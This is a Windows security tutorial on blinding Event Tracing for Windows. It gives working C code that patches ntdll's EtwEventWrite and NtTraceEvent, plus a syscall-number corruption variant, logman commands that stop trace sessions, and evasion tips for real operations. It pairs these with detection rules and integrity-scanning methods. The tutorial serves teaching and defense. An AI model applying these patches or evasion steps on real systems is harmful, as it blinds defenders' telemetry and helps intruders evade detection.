ETW Patching: Blinding Event Tracing for Windows
Objective: Build a working ETW provider/consumer lab, then blind it end-to-end using the same user-mode
ntdllpatching techniques red teams use in the wild. Every offensive step is paired with the exact detection that catches it, so you leave with both sides of the craft.
The first time I ran a xor rax,rax; ret patch against EtwEventWrite in a lab, the effect was almost anti-climactic. Four bytes. One memcpy. My consumer went silent mid-loop. That’s the point of this technique and also its weakness: it is trivial to execute, trivial to detect if you know where to look, and utterly useless against anything the kernel emits. Half the payoff of the walkthrough below is teaching you what ETW patching does not fix for the attacker, because that is where mature EDRs live now.
We are going to build a small provider, a small consumer, watch events flow, patch ntdll in-process, watch them stop, then walk the deeper NtTraceEvent variant, the admin session-kill path, and finally the detection stack that eats every one of these techniques for lunch.
Windows 10/11 VM. No third-party AV for the first pass so signals are clean. Sysmon v15+ with a permissive config. WinDbg Preview, x64dbg, System Informer (or Process Hacker 2), PE-sieve, Moneta. Visual Studio with the C/C++ workload.
1. ETW Architecture: Providers, Sessions, Consumers
ETW was born as a performance-tracing framework and grew into the primary user-mode telemetry bus that EDRs subscribe to. Three moving parts:
| Component | Role |
|---|---|
| Provider | Any DLL/EXE that emits events. Identified by a GUID. Calls EventWrite* from advapi32/ntdll. |
| Session (Controller) | A kernel-side buffer with a name and a list of enabled provider GUIDs plus keyword/level masks. Created with StartTrace. |
| Consumer | Reads events out of a session (real-time or from an .etl file) via OpenTrace/ProcessTrace. This is what an EDR agent is. |
To see this concretely, from an elevated prompt:
logman query -ets
logman query providers
You’ll see sessions like EventLog-System, DefenderApiLogger, DefenderAuditLogger, and a hundred others. Those Defender sessions are PPL-protected: stopping them from user-mode, even as SYSTEM, is not going to work without a bypass. Note that fact, we come back to it.
The important intuition: when your provider calls EventWrite, the event does not go to the EDR. It goes to every session currently subscribed to your provider GUID. The EDR is one of those consumers. If you break the write in ntdll before it reaches the kernel buffer, no session receives anything.
2. The User-Mode Call Chain to NtTraceEvent
Every user-mode write eventually funnels into ntdll!NtTraceEvent, which is the syscall stub. The high-level surface has five entry points:
| API | Notes |
|---|---|
EtwEventWrite | The classic entry; internally calls EtwEventWriteFull. |
EtwEventWriteFull | Real work; also directly reachable. |
EtwEventWriteEx | Filter-aware variant. |
EtwEventWriteString | String-only convenience. |
EtwEventWriteTransfer | Activity-ID aware. |
All five drain into NtTraceEvent. That is why the NtTraceEvent patch is strictly more powerful than the EtwEventWrite patch: one stub covers every provider in the process, no matter which surface API they use.
Attach x64dbg to any process, jump to ntdll.NtTraceEvent, and you’ll see the canonical x64 syscall stub:
; ntdll!NtTraceEvent (x64 Windows 10/11)
mov r10, rcx ; 4C 8B D1
mov eax, 5E ; B8 5E 00 00 00 <- SSN, version-dependent
test byte ptr [7FFE0308h], 1 ;
jne short KiFastSystemCall
syscall ; 0F 05
ret ; C3
Two patch surfaces jump out. Overwrite offset 0 with a return stub, or corrupt the immediate that loads eax (the System Service Number) so the syscall fails predictably. Both are covered below.

3. Memory Permissions and the Patch Setup
The .text section of ntdll.dll is mapped PAGE_EXECUTE_READ and backed by the image on disk (MEM_IMAGE, shared). Try to memcpy into it as-is and you eat an access violation.
The mandatory dance: flip protection to PAGE_EXECUTE_READWRITE (0x40), write the patch, optionally restore. The moment you write into a shared image page, the kernel copy-on-writes it. That page transitions from MEM_IMAGE / Shared to MEM_PRIVATE / Commit. That transition is the single strongest forensic signal in this whole tutorial, and it survives even if you restore the protection mask.
You can verify in WinDbg:
0:000> !address ntdll!EtwEventWrite
...
Type: MEM_IMAGE <- before patch
State: MEM_COMMIT
Protect: PAGE_EXECUTE_READ
0:000> !address ntdll!EtwEventWrite <- after patch
Type: MEM_PRIVATE <- gotcha
State: MEM_COMMIT
Protect: PAGE_EXECUTE_READ
That “PRIVATE” verdict is what PE-sieve and Moneta hunt for.

4. Lab Target: A Custom Provider and Consumer
Before we patch anything, we need something to blind. Two tiny programs.
4.1 Provider
// etw-provider-lab.c
// cl /W4 etw-provider-lab.c advapi32.lib
#include <windows.h>
#include <evntprov.h>
#include <stdio.h>
// {A1B2C3D4-1111-2222-3333-444455556666}
static const GUID ProviderGuid =
{ 0xa1b2c3d4, 0x1111, 0x2222,
{ 0x33, 0x33, 0x44, 0x44, 0x55, 0x55, 0x66, 0x66 } };
int main(void) {
REGHANDLE hProv = 0;
if (EventRegister(&ProviderGuid, NULL, NULL, &hProv) != ERROR_SUCCESS) {
printf("[-] EventRegister failed\n");
return 1;
}
printf("[+] Provider registered. PID=%lu. Firing every 2s.\n", GetCurrentProcessId());
EVENT_DESCRIPTOR desc = { 0 };
desc.Id = 1; desc.Level = 4; desc.Keyword = 0x1;
for (int i = 0; ; i++) {
wchar_t msg[64];
swprintf_s(msg, 64, L"heartbeat #%d", i);
EVENT_DATA_DESCRIPTOR edd;
EventDataDescCreate(&edd, msg, (ULONG)((wcslen(msg) + 1) * sizeof(wchar_t)));
ULONG s = EventWrite(hProv, &desc, 1, &edd);
printf("[*] EventWrite -> %lu (%d)\n", s, i);
Sleep(2000);
}
EventUnregister(hProv);
return 0;
}
EventWrite from advapi32 is a thin wrapper that lands on ntdll!EtwEventWrite. That is the whole point.
4.2 Consumer
// etw-consumer-lab.c
// cl /W4 etw-consumer-lab.c advapi32.lib tdh.lib
#include <windows.h>
#include <evntrace.h>
#include <evntcons.h>
#include <stdio.h>
static const GUID ProviderGuid =
{ 0xa1b2c3d4, 0x1111, 0x2222,
{ 0x33, 0x33, 0x44, 0x44, 0x55, 0x55, 0x66, 0x66 } };
#define SESSION_NAME L"MyLabSession"
static void WINAPI OnEvent(PEVENT_RECORD er) {
if (IsEqualGUID(&er->EventHeader.ProviderId, &ProviderGuid)) {
wchar_t *s = (wchar_t*)er->UserData;
wprintf(L"[event] pid=%lu msg=%ls\n",
er->EventHeader.ProcessId, s ? s : L"(null)");
}
}
int main(void) {
const ULONG psz = sizeof(EVENT_TRACE_PROPERTIES) + sizeof(SESSION_NAME);
EVENT_TRACE_PROPERTIES *p = (EVENT_TRACE_PROPERTIES*)calloc(1, psz);
p->Wnode.BufferSize = psz;
p->Wnode.ClientContext = 1;
p->Wnode.Flags = WNODE_FLAG_TRACED_GUID;
p->LogFileMode = EVENT_TRACE_REAL_TIME_MODE;
p->LoggerNameOffset = sizeof(EVENT_TRACE_PROPERTIES);
TRACEHANDLE hSess = 0;
ControlTraceW(0, SESSION_NAME, p, EVENT_TRACE_CONTROL_STOP); // clean prior
ULONG s = StartTraceW(&hSess, SESSION_NAME, p);
if (s != ERROR_SUCCESS) { printf("[-] StartTrace: %lu\n", s); return 1; }
EnableTraceEx2(hSess, &ProviderGuid, EVENT_CONTROL_CODE_ENABLE_PROVIDER,
TRACE_LEVEL_VERBOSE, 0xFFFFFFFFFFFFFFFFULL, 0, 0, NULL);
EVENT_TRACE_LOGFILEW lf = { 0 };
lf.LoggerName = (LPWSTR)SESSION_NAME;
lf.ProcessTraceMode = PROCESS_TRACE_MODE_REAL_TIME | PROCESS_TRACE_MODE_EVENT_RECORD;
lf.EventRecordCallback = OnEvent;
TRACEHANDLE hTrace = OpenTraceW(&lf);
printf("[+] Consumer running. Waiting for events...\n");
ProcessTrace(&hTrace, 1, NULL, NULL);
return 0;
}
Run the consumer first, then the provider. You should see [event] pid=... msg=heartbeat #0 scrolling in the consumer window. That is the signal we’re going to kill.
Sanity-check with logman query -ets. MyLabSession shows up. That is our target from Phase 5 too.
5. Lab 1: Local Patch of EtwEventWrite
Same process as the provider. We are not going to inject cross-process for this first pass, that keeps the signal clean and avoids WriteProcessMemory telemetry.
// etw_patch_lab.c
#include <windows.h>
#include <stdio.h>
static void patch_etw_eventwrite(void) {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
PVOID pTarget = GetProcAddress(hNtdll, "EtwEventWrite");
printf("[*] EtwEventWrite @ %p\n", pTarget);
DWORD old = 0;
if (!VirtualProtect(pTarget, 4, PAGE_EXECUTE_READWRITE, &old)) {
printf("[-] VirtualProtect: %lu\n", GetLastError()); return;
}
// xor rax, rax ; ret -> returns STATUS_SUCCESS silently
unsigned char patch[] = { 0x48, 0x33, 0xC0, 0xC3 };
memcpy(pTarget, patch, sizeof(patch));
VirtualProtect(pTarget, 4, old, &old);
printf("[+] Patched. This process is now ETW-deaf.\n");
}
Wire this into main before your EventRegister loop, or add a hotkey/prompt to the provider itself. The lab flow I use: provider fires heartbeats for 10 seconds, prompts for ENTER, calls patch_etw_eventwrite, continues the loop. Consumer window goes dead the instant you press ENTER, even though the provider keeps calling EventWrite and getting ERROR_SUCCESS back.
Why xor rax,rax; ret and not plain 0xC3? Two reasons. First, some callers check the return value; STATUS_SUCCESS (0) keeps them happy. Second, a lone RET is what every naive detection tutorial screenshots. 48 33 C0 C3 is only marginally stealthier at the byte level, but it looks intentional and matches real function prologues you might replace it with.
OPSEC note on GetProcAddress. GetProcAddress shows up in the IAT of your binary. An EDR that scans imports will notice a small unsigned tool that imports GetProcAddress and VirtualProtect and nothing else. In real ops you resolve EtwEventWrite by walking the PEB, hitting ntdll‘s export directory, and locating the RVA yourself. That is a separate walkthrough; for lab clarity we stay with the API.
6. Lab 2: Deeper Patch on NtTraceEvent
Same code, one identifier change:
PVOID pTarget = GetProcAddress(hNtdll, "NtTraceEvent");
Everything else is identical. The consequence is bigger: any code path in the process that reaches ETW through any of the five write APIs, including EtwEventWriteEx and EtwEventWriteTransfer, is silenced. This is the patch you actually want in a red-team payload because it doesn’t leave one of the sibling APIs uncovered.
SSN corruption variant
Instead of overwriting the prologue with a return, corrupt the syscall number:
// Overwrite the immediate operand of 'mov eax, <SSN>' at offset 4
DWORD old = 0;
VirtualProtect((BYTE*)pTarget + 4, 1, PAGE_EXECUTE_READWRITE, &old);
*((BYTE*)pTarget + 4) = 0xFF; // bogus SSN
VirtualProtect((BYTE*)pTarget + 4, 1, old, &old);
The syscall still executes but with an invalid service number and returns STATUS_INVALID_PARAMETER (0xC000000D). Callers who don’t inspect the NTSTATUS keep going; those who do get a plausible failure that looks like normal argument validation instead of “this function has been replaced.” A single-byte modification is also a smaller diff for hash-based integrity checkers to catch, though PE-sieve still sees it.
I lost an afternoon once to a lab where SSN corruption “worked” against EtwEventWrite but the consumer kept seeing events. The reason: I patched a stub for a different Nt* function whose SSN happened to sit near NtTraceEvent in memory. Confirm the offset with a fresh WinDbg disassembly every time you switch OS build; SSNs drift across Windows versions.
7. Lab 3: Session Termination (Admin Path)
Not a patch. A cleaner sledgehammer, if you have admin.
logman query -ets
logman stop "MyLabSession" -ets
The consumer process is still alive. ProcessTrace is still blocked on its callback. No more events arrive because the session’s kernel-side buffer is gone. Programmatic equivalent:
ControlTraceW(0, L"MyLabSession", pProps, EVENT_TRACE_CONTROL_STOP);
Two caveats before you try this on a real target. First, DefenderApiLogger and DefenderAuditLogger are Secure ETW sessions running under PPL. Even SYSTEM cannot stop them without a PPL-capable process, which you don’t have without a driver or a signed abuse primitive. Second, a session vanishing is itself extraordinarily loud. A SIEM that expects continuous heartbeats from a session and suddenly gets nothing is a much stronger detection than any byte-level check.
8. What ETW Patching Does NOT Blind
Understand this or you’ll walk into a range confidently blind and get caught by the second layer. User-mode patching only blinds telemetry that is generated in user mode.
| Survives patching | Why |
|---|---|
ETW-Ti (Microsoft-Windows-Threat-Intelligence) | Emitted inside the kernel. Your NtProtectVirtualMemory call to prep the patch shows up here. |
Microsoft-Windows-Kernel-Process | Process/thread lifecycle events raised from PspInsertThread and friends inside the kernel. |
| Kernel callbacks | PsSetCreateProcessNotifyRoutine, ObRegisterCallbacks, CmRegisterCallback. EDR drivers register here directly. |
| Minifilter callbacks | Sysmon’s driver, ELAM drivers, and every real EDR sit here. |
| Audit subsystem | 4688 / 4663 are generated on the kernel side and go through the Security event channel, not your provider path. |
Which means: patching ntdll!NtTraceEvent in powershell.exe blinds Defender AMSI/PowerShell ETW for that one process. It does not stop Sysmon from seeing the powershell.exe create, does not stop ETW-Ti from noticing the VirtualProtect you made to install the patch, and does not remove your process from Microsoft-Windows-Kernel-Process. Mature EDRs stopped relying on user-mode ETW alone years ago, precisely because of this class of technique.

9. OPSEC and Evasion Maturity
Where a real operator invests effort:
- Skip
GetProcAddress. Walk the PEB tontdll, parseIMAGE_EXPORT_DIRECTORYyourself, resolveEtwEventWrite/NtTraceEventby name hash. No IAT footprint. - Skip hooked stubs. Many EDRs hook
NtProtectVirtualMemoryin userland. Use indirect syscalls (SysWhispers-style, Hell’s Gate/Halo’s Gate to resolve SSNs at runtime) so theVirtualProtectprep does not run through the hooked path. This dodges some user-mode telemetry but does not dodge ETW-Ti. - Restore protection immediately. Reduces the window a memory scanner can see
RWXon ntdll. - Accept the
MEM_PRIVATEmarker. You cannot undo it from user mode. The page is now private, forever, for the life of the process. Plan for the memory scanner. - Zero-event silhouette. If your beacon generates gigabytes of network traffic and executes hundreds of syscalls but its ETW providers emit nothing, that shape alone is anomalous.
10. Detection Deep Dive
Now flip the seat and catch it.
10.1 Memory-type divergence (the killshot)
Run PE-sieve against your patched process:
pe-sieve64.exe /pid <PID> /shellc 3 /data 3
ntdll.dll will be flagged as modified with a small .text diff. Moneta:
Moneta64.exe -m ioc -p <PID>
Look for Modified code on ntdll.dll. This detection does not care about your patch bytes, does not care about your SSN, does not care whether you restored the protection mask. It compares in-memory to on-disk. It wins.
10.2 Protection flip via Sysmon EID 10
Sysmon ProcessAccess (Event ID 10) captures cross-process handle grants, and configured aggressively it also gives you a call stack you can pattern-match against. Local VirtualProtect on your own process is less noisy in EID 10; the strongest EID 10 signal is when patching happens remotely via OpenProcess + WriteProcessMemory into another process’s ntdll.
For local in-process patching, Sysmon Event ID 25 (ProcessTampering) is what you want. It fires when process image memory diverges from the on-disk image, which is exactly what our patch does.
title: ntdll Modified In-Memory (Possible ETW Patching)
id: 3f7a3d3f-6a0b-4c6c-9e1a-1c9d0e6a9f01
status: experimental
logsource:
product: windows
service: sysmon
detection:
selection:
EventID: 25
Type: 'Image is replaced'
condition: selection
falsepositives:
- Legitimate EDR self-protection at startup
- .NET AOT loaders (rare)
level: high
tags:
- attack.defense_evasion
- attack.t1562.001
And the classic protection-flip rule, keyed off the call stack in EID 10:
title: Suspicious VirtualProtect on ntdll.dll .text
logsource:
product: windows
service: sysmon
detection:
selection:
EventID: 10
TargetImage|endswith: '\ntdll.dll'
CallTrace|contains:
- 'kernelbase.dll'
- 'VirtualProtect'
condition: selection
falsepositives:
- EDR startup hooking
level: high
tags:
- attack.defense_evasion
- attack.t1562.001
10.3 ETW-Ti as the backstop
A PPL-signed consumer subscribed to Microsoft-Windows-Threat-Intelligence sees the NtProtectVirtualMemory invocation on ntdll‘s address range with the target protection PAGE_EXECUTE_READWRITE. Ordinary tenants cannot run a PPL consumer, which is why this is an EDR-vendor detection, not something you can bolt on with Sysmon. Know it exists; when you’re evaluating an EDR, ask the vendor whether they consume ETW-Ti and how.
10.4 Byte-level integrity
The cheap and effective option for a defender who owns endpoints: periodically hash the .text of ntdll in-memory (via a driver, or a scheduled trusted scan) and compare to the on-disk PE’s .text. Any mismatch on a page that isn’t a legitimate hotpatch is a critical alert.
10.5 Absence-of-events heuristic
If a host normally emits a steady stream of Defender/PowerShell/DotNet ETW events and suddenly emits zero from a specific PID that is otherwise very active, that is a detection. Model it in your SIEM as a per-process baseline. It is one of the few techniques that catches an operator who did everything else right.

11. Tools
| Tool | Use | Link |
|---|---|---|
| WinDbg Preview | Disassemble ntdll!EtwEventWrite / NtTraceEvent, inspect !address before/after patch. | microsoft.com |
| x64dbg | Live view of patched bytes and syscall stub. | x64dbg.com |
| System Informer / Process Hacker | Enumerate ETW providers registered by a PID; inspect memory regions. | systeminformer.sourceforge.io |
| Sysmon (v15+) | EID 10 (ProcessAccess) and EID 25 (ProcessTampering). | learn.microsoft.com |
| PE-sieve | Scan a process for modified system DLLs; catches MEM_PRIVATE ntdll pages. | github.com/hasherezade/pe-sieve |
| Moneta | Broader in-memory IOC scan; flags modified code and unbacked regions. | github.com/forrest-orr/moneta |
| logman.exe | Enumerate/stop ETW sessions. | Built-in |
| Volatility 3 | Offline dump inspection of process VADs and DLL memory. | volatilityfoundation.org |
12. MITRE ATT&CK Mapping
| Technique | MITRE ID | Detection |
|---|---|---|
| Impair Defenses: Disable or Modify Tools | T1562.001 | PE-sieve/Moneta ntdll integrity; Sysmon EID 25; ETW-Ti NtProtectVirtualMemory telemetry. |
| Impair Defenses: Indicator Blocking | T1562.006 | Absence-of-events baseline per PID; SIEM heartbeat monitoring on ETW sessions. |
| Impair Defenses (parent) | T1562 | Session enumeration/stop events (logman, ControlTrace). |
| Process Injection | T1055 | Only if patching another process: Sysmon EID 10 with GrantedAccess including PROCESS_VM_WRITE (0x20) and EID 8 for follow-on threads. |
(Confirm T1562.006 wording against the current ATT&CK entry before you publish; the sub-technique text has shifted at least twice in the last two years.)
Summary
- User-mode ETW patching is four bytes and a
VirtualProtect.NtTraceEventis the deepest and highest-value target because every write API funnels through it. - The forensic footprint is not the bytes, it is the memory type. Patching flips ntdll’s page from
MEM_IMAGEtoMEM_PRIVATE, and PE-sieve/Moneta hunt exactly that. - User-mode patching does not blind ETW-Ti, kernel callbacks, minifilter drivers, or the Security channel. Treat it as one narrow evasion, not a cloak.
- Detection stack that actually works: Sysmon EID 25 for tampering, EID 10 for cross-process patch attempts, PE-sieve/Moneta for continuous integrity, ETW-Ti for the
NtProtectVirtualMemorysignal, and a per-PID absence-of-events baseline for the silhouette. - The lasting lesson for both sides: any defense that lives at the attacker’s privilege level is negotiable. Push telemetry to the kernel or to another machine before the payload runs, or plan for the patch.
Related Tutorials
- Phishing Campaign Design: Pretexting, Lures, and Target Profiling
- Building a Red Team Lab: Infrastructure, VMs, and C2 Setup
- OSINT for People and Credentials: LinkedIn, Breach Data, and Email Harvesting
- Active OSINT: DNS, Certificate Transparency, and Subdomain Enumeration
- Passive OSINT: Mapping the Target Without Touching It
References
- attack.mitre.org
- attack.mitre.org
- attack.mitre.org
- valhguard.com
- fluxsec.red
- fluxsec.red
- fluxsec.red
- jonny-johnson.medium.com
Get new drops in your inbox
Windows internals, exploit dev, and red-team write-ups - no spam, unsubscribe anytime.